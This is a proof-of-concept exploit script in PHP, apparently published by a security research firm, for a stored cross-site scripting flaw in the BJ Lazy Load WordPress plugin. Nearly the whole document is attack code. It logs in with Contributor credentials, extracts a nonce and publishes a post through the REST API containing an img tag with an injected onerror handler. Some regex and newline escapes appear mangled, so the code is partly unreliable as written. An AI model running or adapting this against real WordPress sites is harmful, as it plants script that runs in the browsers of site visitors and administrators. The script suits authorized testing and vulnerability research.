CVE-2026-2300: BJ Lazy Load <= 1.0.9 – Authenticated (Contributor+) Stored Cross-Site Scripting via Custom HTML Block (bj-lazy-load)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2300 - BJ Lazy Load <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom HTML Block

<?php
/**
 * This PoC demonstrates exploitation of CVE-2026-2300.
 * It requires valid WordPress credentials with Contributor-level or higher access.
 * The attacker creates a post containing an img tag with a crafted class attribute
 * that, after processing by the BJ Lazy Load plugin's filter_images() function,
 * results in a stored XSS payload.
 */

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'attacker'; // WordPress username (Contributor+)
$password = 'password123'; // WordPress password

// Step 1: Authenticate and obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);

if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Get the admin page to extract a valid post creation nonce
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_page = curl_exec($ch);

// Extract _wpnonce for post creation via AJAX
preg_match('//wp-admin/admin-ajax.php.*?_wpnonce=([a-f0-9]+)/', $admin_page, $matches);
if (!isset($matches[1])) {
    // Fallback: try to get nonce from REST API
    preg_match('/nonces*=s*'([a-f0-9]+)'/', $admin_page, $matches);
}

if (!isset($matches[1])) {
    die('Could not extract nonce');
}
$nonce = $matches[1];

// Step 3: Create a new post using WP REST API
// The payload: an img tag with a crafted class attribute that will be misinterpreted
// Note: BJ Lazy Load processes content server-side, so we inject via block editor
$payload_img = '<img src="placeholder.jpg" class="x onerror=alert(1)" />';

$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
    'title' => 'CVE-2026-2300 Test Post',
    'content' => $payload_img,
    'status' => 'publish'
);

$headers = array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
);

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');

$response = curl_exec($ch);
$response_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response_code == 201) {
    echo "[+] Post created successfully. Visit the new post to trigger XSS.n";
    $response_data = json_decode($response, true);
    echo "[+] Post URL: " . $response_data['link'] . "n";
} else {
    echo "[-] Post creation failed with HTTP $response_coden";
    echo "[-] Response: $responsen";
}

curl_close($ch);
?>